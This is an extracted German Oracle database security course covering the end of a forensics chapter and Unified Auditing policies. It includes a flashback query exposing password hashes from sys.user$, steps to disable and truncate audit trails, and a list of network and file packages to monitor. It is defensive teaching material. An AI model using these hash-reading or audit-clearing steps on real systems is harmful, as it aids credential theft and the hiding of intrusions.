to_char(scn_to_timestamp(versions_startscn),'DD.MM. YYYY Hh24:MI:SS') as start_time,

versions_endscn END_SCN,versions_operation OP ,gran tee#,privilege#,versions_xid XID

FROM sys.sysauth$

VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE

where versions_operation IS NOT NULL) s, sys.user$ u,sys.system_privilege_map m

where s.grantee#=u.user#

and s.privilege#=m.privilege;

REM Deletes oder Updates auf aud$SELECT versions_startscn START_SCN,

to_char(scn_to_timestamp(versions_startscn),'DD.MM. YYYY Hh24:MI:SS') as start_time,

versions_endscn END_SCN,versions_operation OP ,vers ions_xid XID ,aud$.*

FROM sys.aud$

VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE

where versions_operation in ('D','U');

Page 213: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Security II 7 - 23

Inhaltliche Änderungen feststellen

Bis auf V$ und GV$ Views kann über einen begrenzten Zeitraum die inhaltliche Veränderung einer Spalte beobachtet werden:

Beispiel: Passwort-Änderung:

SELECT name||'=>'||password||'#'||spare4 FROM sys.user$AS OF SCN <start_scn>MINUSSELECT name||'=>'||password||'#'||spare4 FROM sys.user$) AS old_pwd

MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 23

Page 214: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 8Unified Auditing

Security II 8 - 1

Page 215: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit bis Version 11.2

Default Auditing

Betriebssystem (ORACLE_BASE/ADMIN/<sid>/ADUMP)

Standard Auditing (Systemprivilegien, Befehle, Obje kte)

SYS.AUD$ oder OS in proprietärem Format oder XML

Fine Grained Auditing ((FGA) - Auditieren in Abhängi gkeit von Bedingungen in der EE)

SYS.FGA_LOG$ oder im OS in proprietärem Format oder XML

SYS Auditing

Betriebssystem

Database Vault Auditing

DVSYS.AUDIT_TRAIL$

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-2

Security II 8 - 2

Page 216: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rückwärtskompatibilität

Die alten Audit Methoden (sys.aud$, sys.fga_log$) können weiter auch parallel verwendet werden (Mixed Mode)

Mixed Mode unterstützt sowohl die alte als auch die neue Audit-Methode

Sie sollten jedoch ab Version 12 auf UNIFIED wechse ln und die alten Methoden abschalten

Oracle plant den Support für die alten Audit Verfah ren in zukünftigen Oracle Versionen abzuschalten

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-3

Security II 8 - 3

Page 217: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Empfehlungen

Sie sollten die alte Audit-Einstellung deaktivieren

ALTER SYSTEM SET audit_trail=none SCOPE=SPFILE;

Datenbank durchstarten

Nach Sichtung der Informationen, können die folgend e Audit Tabellen mit TRUNCATE geleert werden:

sys.aud$

sys.fga_log$

dvsys.audit_trail$

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-4

Security II 8 - 4

Page 218: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing

Das Feature UNIFIED AUDITING fasst sämtliche Audit-Informationen an einer einzigen Stelle zusammen.

Dadurch ergeben sich einige Vorteile

Keine Parametereinstellung mehr notwendig

Bessere Übersicht und einfachere Sichtung der Audit -Informationen

Bessere Performance, was die Überwachung betrifft

ORADEBUG Benutzung wird auch überwacht

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-5

Hinweis:Auch wenn Unified Auditing "offiziell" ausgeschaltet wurde, sind Teile des Audits trotzdem IMMER aktiviert !!

Folgende Quellen für Audit-Informationen können zusammen gefasst werden:

•Audit Einträge (inkl. SYS Audits) aus Unified Audit Policies und allgemeinen Audit-Einstellungen •Fine-grained audit Einträge über das Package DBMS_FGA PL/SQL•Oracle Database Real Application Security audit Einträge•Oracle Recovery Manager audit Einträge•Oracle Database Vault audit Einträge•Oracle Label Security audit Einträge•Oracle Data Mining Einträge•Oracle Data Pump•Oracle SQL*Loader Direct Load

Stichwörter: Unified Auditing

Security II 8 - 5

Page 219: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing alleinig aktivieren

Ermittlung, ob Option bereits eingeschaltet (TRUE=e ingeschaltet oder FALSE=ausgeschaltet):

SELECT value FROM v$option WHERE parameter = 'Unified Auditing';

Bei FALSE muss Nutzung explizit aktiviert werden.

Dazu Instanz und Listener herunterfahren

Unter Unix Wechsel in $ORACLE_HOME/rdbms/lib, dann

make -f ins_rdbms.mk uniaud_on ioracle ORACLE_HOME=$ORACLE_HOME

Unter Windows in %ORACLE_HOME%\bin folgende Datei umbenennen

orauniaud12.dll.dbl in orauniaud12.dll

Listener und Instanz wieder starten

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-6

Interessante Views:

•UNIFIED_AUDIT_TRAIL•V$UNIFIED_AUDIT_TRAIL

Wenn Sie Unified Auditing wieder ausschalten möchten:UNIX:Alle DB Prozesse stoppen (Listener, DB, ..)make -f ins_rdbms.mk uniaud_off ioracle ORACLE_HOME=$ORACLE_HOMEAlle Prozesse wieder starten

Windows:Alle Dienste stoppenmove orauniaud12.dll orauniaud12.dll.dblAlle Dienste starten

Stichwörter: Unified Auditing

Security II 8 - 6

Page 220: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing Speichermethoden

Der Initialisierungsparameter UNIFIED_AUDIT_SGA_ QUEUE_SIZE regelt die Speichermenge, die der Hauptspeicher für die Audit Einträge zur Verfügung stellt

Speichergröße 1-30MB

Benutzer die Unified Auditing administrieren wollen , benötigen das Recht AUDIT SYSTEM oder die Rolle AUDIT_ADMIN

Die Auditdaten werden zuerst gecached und periodisc h in Tabellen gespeichert

Bei einem Shutdown abort könnten jedoch Einträge ve rloren gehen, deswegen unterstützt Oracle zwei Modi:

Immediate (sofort schreiben)

Queued Write (verzögert schreiben)

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-7

Hinweis

Die Audit Daten werden in einer partitionierten Tabelle im AUDSYS Schema im SYSAUX Tablespace gespeichert.Das AUDSYS Schema kann nicht gedropt werden.

Stichwörter: Unified Auditing; Speichermethoden

Security II 8 - 7

Page 221: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing Speichermethoden (f)

BEGIN DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_PROPERTY( DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, DBMS_AUDIT_MGMT.AUDIT_TRAIL_WRITE_MODE,

-- #1: Immediate WriteDBMS_AUDIT_MGMT.AUDIT_TRAIL_IMMEDIATE_WRITE-- #2: Queued Write (Default)DBMS_AUDIT_MGMT.AUDIT_TRAIL_QUEUED_WRITE); END;

Sofort auf Disk schreiben

BEGINDBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;END;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-8

Wenn Sie Daten direkt aus dem Speicher in die Tabellen flushen wollen:

Single Instanz:EXEC DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;

Lokale RAC Instanz:BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(DBMS_AUDIT_MGMT.FLUSH_CURRENT_INSTANCE);END;

Alle RAC Instanzen:BEGINDBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(DBMS_AUDIT_MGMT.FLUSH_ALL_INSTANCES);END;

Lokaler Pluggable DB Container:BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT); END;

Alle PDB ContainerBEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_ALL); END; Stichwörter: Unified Auditing; Speichermethoden

Security II 8 - 8

Page 222: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wo wird das Audit gespeichert?

Oracle speichert die Audit Daten im Benutzer AUDSYS Tabelle CLI_SWP* (Name wird zufällig erzeugt)

Die Tabelle ist gegen DML und DDL Manipulationen geschützt

TRUNCATE TABLE AUDSYS."CLI_SWP$4de9718f$1$1"

ORA-55941: DML- und DDL-Vorgänge sind auf Tabelle "AUDSYS"."CLI_SWP$4de9718f$1$1" nicht zulässig

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-9

Security II 8 - 9

Page 223: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing: Rechte

Systemprivileg AUDIT SYSTEM

Darf das Auditing konfigurieren, aktivieren, de-akt ivieren, aber nicht auswerten

Rolle AUDIT_ADMIN

Darf das Auditing konfigurieren und auswerten

Rolle AUDIT_VIEWER

Darf nur den audit trail auswerten

Typischerweise für Auditoren verwendet

Eigentümer eines Objekts kann nicht mehr automatisc h

das Auditing selbst festlegen

die über seine Objekte gesammelten Audit Daten ausw erten

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-10

Security II 8 - 10

Page 224: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Autiting Syntax

Syntax:

CREATE AUDIT POLICY policy [ privilege_audit_clause ] [ standard_or_component_clause ] [ role_audit_clause ] [ WHEN 'audit_condition' EVALUATE PER { STATEMENT | SESSION | INSTANCE } ] [ CONTAINER = { ALL | CURRENT } ] ;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-11

privilege_audit_clause := PRIVILEGES privilege1 [, privilege2]role_audit_clause := ROLES role1 [, role2]

action_audit_clause := {standard_actions | component_actions} [, component_actions ]

Standard Actions:ACTIONS { { object_action | ALL } ON { DIRECTORYdirectory_name | MINING MODEL [ schema. ] object_name | [ schema. ] object_name } | { system_action | ALL } } [ { object_action | ALL } ON { DIRECTORYdirectory_name | MINING MODEL [ schema. ] object_name | [ schema. ] object_name } | { system_action | ALL } ]...

Komponent Actionscomponent_actions := ACTIONS COMPONENT=[OLS|XS] action1 [,action2 ] |ACTIONS COMPONENT=DV DV_action ON DV_object_name | ACTIONS COMPONENT=DATAPUMP [ EXPORT | IMPORT | ALL ] | ACTIONS COMPONENT=DIRECT_LOAD [ LOAD | ALL ]

WHEN 'audit_condition := function operation value_list' EVALUATE PER {STATEMENT|SESSION|INSTANCE}

Stichwörter: Unified Auditing; Syntax

Security II 8 - 11

Page 225: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing Syntax (f)

EVALUATE PER …

STATEMENT

Für jedes ausgeführte Statement wird ein Auditeintr ag erstellt

SESSION

Innerhalb wird nur einmal für ein ausgeführtes Stat ement ein Auditeintrag erzeugt

INSTANCE

Solange die Instanz läuft, wird Vorgehen nur einmal aufgezeichnet

CONTAINER =

ALL (Alle container einer Plugable Database)

CURRENT (nur der aktuelle Container)

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-12

Stichwörter: Unified Auditing; Syntax

Security II 8 - 12

Page 226: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing: WHEN Klausel

Nummerische Funktionen: BITAND, CEIL, FLOOR, POWER

String Funktionen: CONCAT, LOWER, UPPER, INSTR, LENGTH

Weitere Funktionen: SYS_CONTEXT, UID

Vergleichsoperatoren: =, !=, <>, <, >, <=, >=

Boolesche Operatoren: AND, OR

NULL Prüfungen: IS [NOT] NULL

[NOT] BETWEEN condition

[NOT] IN condition

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-13

Beispiele:

'SYS_CONTEXT(''USERENV'', ''CLIENT_IDENTIFIER'') = ''my_client'''

Stichwörter: Unified Auditing; WHEN

Security II 8 - 13

Page 227: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiele zur WHEN Klausel

SELECT ANY TABLE und CREATE VIEW für zwei OS Benutzer (Marco , Hans ) überwachen:

CREATE AUDIT POLICY osusers_tab_view_pol PRIVILEGES SELECT ANY TABLE, CREATE VIEW WHENq'!SYS_CONTEXT ('USERENV', 'OS_USER') IN ( 'MARCO', 'HANS' )!' EVALUATE PER SESSION;

Alle Anmeldungen durch SQL*Plus überwachen:

CREATE AUDIT POLICY sqlplus_logon_pol ACTIONS LOGON WHEN q'!INSTR(UPPER(SYS_CONTEXT('USERENV', 'CLIENT_PROGRAM_NAME')), 'SQLPLUS' ) > 0!' EVALUATE PER SESSION;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-14

Weitere Beispiele:

Wer nicht von den Hosts muenchen1 und muenchen2 kommt, wird überwacht bei einem UPDATE oder DELETE auf der EMP Tabelle:

CREATE AUDIT POLICY not_muc_logon_pol ACTIONS UPDATE ON scott.emp, DELETE ON scott.emp WHEN q'!SYS_CONTEXT ('USERENV'', 'HOST') NOT IN ('muenchen1','muenchen2')' EVALUATE PER SESSION;

Stichwörter: Unified Auditing; WHEN

Security II 8 - 14

Page 228: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit aktivieren

AUDIT { POLICY policy [ { BY user [, user]... } | { EXCEPT user [, user]... } ] [ WHENEVER [ NOT ] SUCCESSFUL ] } | { CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... [, CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... ]... [ BY user [, user] ... ] } ;

Beispiel:

AUDIT POLICY table_poli;

AUDIT POLICY dml_poli BY scott,marco;

AUDIT POLICY dml_poli EXCEPT hans,hilde ;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-15

Stichwörter: Unified Auditing; aktivieren

Security II 8 - 15

Page 229: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit deaktivieren

NOAUDIT { POLICY policy | CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... [, CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... ]... } [ BY user [, user]... ] ;

Beispiel:

NOAUDIT POLICY table_poli;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-16

Stichwörter: Unified Auditing; deaktivieren

Security II 8 - 16

Page 230: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing Beispiele

Beispiele:

CREATE AUDIT POLICY dml_poli ACTIONS DELETE on scott.emp, INSERT on scott.emp, UPDATE on scott.emp, ALL on scott.dept;

AUDIT POLICY dml_poli BY scott;

SELECT audit_option, audit_condition, object_schema, object_name, object_type

FROM AUDIT_UNIFIED_POLICIESWHERE policy_name=' DML_POLI';

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-17

Prüfen, welche Überwachungen eingeschaltet wurden:• SELECT audit_option,audit_condition,

object_schema,object_name,object_typeFROM AUDIT_UNIFIED_POLICIESWHERE policy_name='DML_POLI';

Stichwörter: Unified Auditing; Beispiele

Security II 8 - 17

Page 231: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing Beispiele

Überwachung der Rolle Resource durch Benutzer marco :

CREATE AUDIT POLICY aud_marco ROLES RESOURCE WHEN q'!SYS_CONTEXT('USERENV', 'MODULE') <> ('MARCO')!' EVALUATE PER STATEMENT ;

Überwachung für alle Benutzer bis auf Marco durchführen:

AUDIT POLICY aud_marco EXCEPT marco;

Überwachung für alle Benutzer bei nicht erfolgreich er Aktion durchführen:

AUDIT POLICY aud_marco WHENEVER NO SUCCESSFUL;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-18

Security II 8 - 18

Page 232: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Auditing Beispiele für Privilegien

Beispiele (Wann hat jemand diese Rechte genutzt?):

CREATE AUDIT POLICY table_poliPRIVILEGES SELECT ANY TABLE,CREATE ANY TABLE, DROP ANY TABLE;

AUDIT POLICY table_poli BY scott;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-19

Weitere Beispiele:

Prüfen, welche Überwachungen eingeschaltet wurden:SELECT * FROM audit_unified_policies WHERE policy_name IN ('TABLE_POLI','DML_POLI');

Prüfen ob jemand ausser Benutzer 101,105 oder 110 DML Befehle auf der EMP Tabelle durchgeführt hat:CREATE AUDIT POLICY emp_updates_pol ACTIONS DELETE on scott.emp, INSERT on scott.emp, UPDATE on scott.emp WHEN 'UID NOT IN (101, 105, 110)' EVALUATE PER STATEMENT;

Stichwörter: Unified Auditing; Privilegien

Security II 8 - 19

Page 233: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Interessante Privilegien zum Audit

CREATE USER

ALTER USER

CREATE DATABASE LINK

ALTER DATABASE LINK

ALTER SESSION

ALTER SYSTEM

AUDIT ANY

AUDIT SYSTEM

BECOME USER

CREATE ANY DIRECTORY

CREATE ANY JOB

CREATE EXTERNAL JOB

CREATE JOB

CREATE LIBRARY

CREATE PUBLIC SYNONYM

DROP TABLESPACE

DROP ANY TABLE

DROP USER

EXEMPT ACCESS POLICY

EXEMPT DDL REDACTION POLICY

EXEMPT DML REDACTION POLICY

EXEMPT IDENTITY POLICY

EXEMPT REDACTION POLICY

EXPORT FULL DATABASE

GRANT ANY OBJECT PRIVILEGE

GRANT ANY PRIVILEGE

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-20

Weitere:GRANT ANY ROLEINHERIT ANY PRIVILEGESMANAGE SCHEDULERRESTRICTED SESSIONSELECT ANY TABLE

Stichwörter: Unified Auditing; Privilegien

Security II 8 - 20

Page 234: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Autiting Beispiele für Packages

Beispiele:

Überwachen, ob SYS Rechte an UTL_FILE/UTL_TCP/UTL_SMTP vergibt:

CREATE AUDIT POLICY dbms_utl_grantsACTIONSGRANT ON UTL_FILE,GRANT ON UTL_TCPGRANT ON UTL_SMTP;

AUDIT POLICY dbms_utl_grants BY SYS;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-21

Weitere Beispiele:

Prüfen, welche Überwachungen eingeschaltet wurden:SELECT * FROM audit_unified_policies WHERE policy_name IN ('TABLE_POLI','DML_POLI');

Stichwörter: Unified Auditing; Packages

Security II 8 - 21

Page 235: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Lohnenswerte Packages für die Überwachung

UTL_FILE

UTL_SMTP

APEX_MAIL

UTL_HTTP

UTL_TCP

UTL_INADDR

DBMS_SQL

DBMS_SYS_SQL

DBMS_FGA

DBMS_RLS

DBMS_CRYPTO

DBMS_JOB

DBMS_SCHEDULER

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-22

Stichwörter: Unified Auditing; Monitoring

Security II 8 - 22

Page 236: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel: Packageüberwachung

CREATE AUDIT POLICY MUSO_PACKAGE_POLICYACTIONS EXECUTE ON sys.utl_file,EXECUTE ON sys.utl_smtp,EXECUTE ON sys.utl_http,EXECUTE ON sys.utl_tcp,EXECUTE ON sys.utl_inaddr,EXECUTE ON sys.dbms_fga,EXECUTE ON sys.dbms_rls,EXECUTE ON sys.dbms_crypto,EXECUTE ON sys.dbms_job,EXECUTE ON sys.dbms_scheduler;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-23

Security II 8 - 23

Page 237: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit auf ObjekteRecht \ Objekt Table View Seq

uenceProcedureTrigger

Function

Package

Material.View

Directory

ObjectType

JavaObj

ALTER

AUDIT

COMMENT

DELETE

EXECUTE

FLASHBACK

GRANT

INDEX

INSERT

LOCK

RENAME

READ

SELECT

UPDATE

WRITE *

* Fehlt in der Doku 12.1.0.2, funktioniert aber.

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-24

Security II 8 - 24

Page 238: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Autiting Bsp für Rollenbenutzung

Rolle anlegen und Rechte vergeben:

CREATE ROLE min_role;GRANT create tablespace TO min_role;GRANT MIN_ROLE, create session to scott;

Überwachen, wer die Rolle min_role verwendet hat:

CREATE AUDIT POLICY aud_role_pol ROLES min_role;

AUDIT POLICY min_role WHENEVER SUCCESSFUL;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-25

Security II 8 - 25

Page 239: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Unified Autiting Beispiele (f)

Lesezugriffe auf Directory DATA_PUMP_DIR überwachen :

CREATE AUDIT POLICY read_dir_pol ACTIONS READ ON DIRECTORY data_pump_dir;

Alle RDBMS Aktivitäten überwachen:

CREATE AUDIT POLICY all_actions_pol ACTIONS ALL;

Hinweis: RMAN Aktivitäten werden immer automatisch überwacht:

SELECT dbusername, rman_operationFROM unified_audit_trailWHERE rman_operation IS NOT NULL;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-26

Syntax:• CREATE AUDIT POLICY <policy_name> ACTIONS

COMPONENT=DATAPUMP { EXPORT | IMPORT | ALL };Beispiel: Datapump Export überwachen:

• CREATE AUDIT POLICY audit_expdp_pol ACTIONS COMPONENT=DATAPUMP EXPORT;

• AUDIT POLICY audit_expdp_pol ;Auswerten der Überwachung:

• SELECT DP_TEXT_PARAMETERS1, DP_BOOLEAN_PARAMETERS1 FROM UNIFIED_AUDIT_TRAILWHERE AUDIT_TYPE = 'DATAPUMP';

Stichwörter: Unified Auditing; Beispiele

Security II 8 - 26

Page 240: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

SQL*Loader mittels AUDIT überwachen

Syntax:

CREATE AUDIT POLICY <policy_name> ACTIONS COMPONENT=DIRECT_LOAD { LOAD };

Beispiel:

CREATE AUDIT POLICY audit_sqlldr_pol ACTIONS COMPONENT=DIRECT_LOAD LOAD;

AUDIT POLICY audit_sqlldr_pol;

Überwachung:

SELECT DBUSERNAME, ACTION_NAME, OBJECT_SCHEMA, OBJECT_NAME, DIRECT_PATH_NUM_COLUMNS_LOADED FROM UNIFIED_AUDIT_TRAIL WHERE AUDIT_TYPE = 'DIRECT PATH API';

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-27

Stichwörter: Unified Auditing; SQL*LOADER; Monitoring

Security II 8 - 27

Page 241: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Vordefinierte Policies

ORA_SECURECONFIG (eingeschaltet !!)

Entspricht den aus Oracle Database 11 g bekannten Defaults

Ausschalten: NOAUDIT POLICY ORA_SECURECONFIG;

ORA_ACCOUNT_MGMT (disabled)

CREATE / ALTER / DROP USER

CREATE / ALTER / DROP / SET ROLE

GRANT, REVOKE

ORA_DATABASE_PARAMETER ( disabled)

ALTER DATABASE

ALTER SYSTEM

CREATE SPFILE

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-28

Folgende Komponenten lassen sich auditieren:• Data Pump • Database Vault • Data Mining • Label Security • Real Application Security • SQL Loader direct loads

Hinweis: • Auditing des RMAN wird über den RMAN selbst gesteuert

Security II 8 - 28

Page 242: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audits abändern

Eine bestehende AUDIT Policy kann erweitert oder reduziert werden:

ALTER AUDIT POLICY <policy_name> [ ADD [privilege_audit_clause] [action_audit_clause] [role_audit_clause]] [ DROP[privilege_audit_clause] [action_audit_clause] [role_audit_clause]] [CONDITION {DROP | audit_condition EVALUATE PER {STATEMENT|SESSION|INSTANCE}}]

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-29

Weitere Syntax:ADD privilege_audit_clause := PRIVILEGES privilege1 [, privilege2]

ADD action_audit_clause := {standard_actions | comp onent_actions}

standard_actions := ACTIONS action1 [ ON {schema.ob j_name | DIRECTORY directory_name | MINING MODEL schema.obj_name } ] [, action2 [ ON {schema.obj_name | DIRECTORY directory_name | MINING MODEL schema.obj_name } ]

{ADD|DROP} role_audit_clause := ROLES role1 [, rol e2]

CONDITION 'audit_condition := function operation va lue_list' EVALUATE PER {STATEMENT|SESSION|INSTANCE}

Stichwörter: Unified Auditing; Policy

Security II 8 - 29

Page 243: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiele zu Audits abändern

Zur Policy tab_audpol wird die Überwachung des Rechners "Bluemchen" hinzugefügt, wenn er einen Ins ert auf die dept Tabelle durchführt:

ALTER AUDIT POLICY tab_audpol ADD ACTIONS INSERT ON SCOTT.DEPT CONDITION q'!SYS_CONTEXT('HOST', 'MY_HOST') = 'BLUEMCHEN'!' EVALUATE PER SESSION;

Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-30

Stichwörter: Unified Auditing; Policy

Security II 8 - 30

Page 244: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Audit auswerten

SELECT TO_CHAR(EVENT_TIMESTAMP,'DD.MM.YY Hh24:MI:SS ') AS EVENT_TIMESTAMP,OS_USERNAME,DBUSERNAME,substr(clien t_program_name,1,30) client_prg, action_name,object_name,sql_text,system_privilege_u sedFROM UNIFIED_AUDIT_TRAILorder by 1 desc;

Hinweis: In der View V$UNIFIED_AUDIT_TRAIL ist die Datumsspalte im GMTFormat gespeichert (-1 bzw -2 Stunden zu unserer Ze it !)

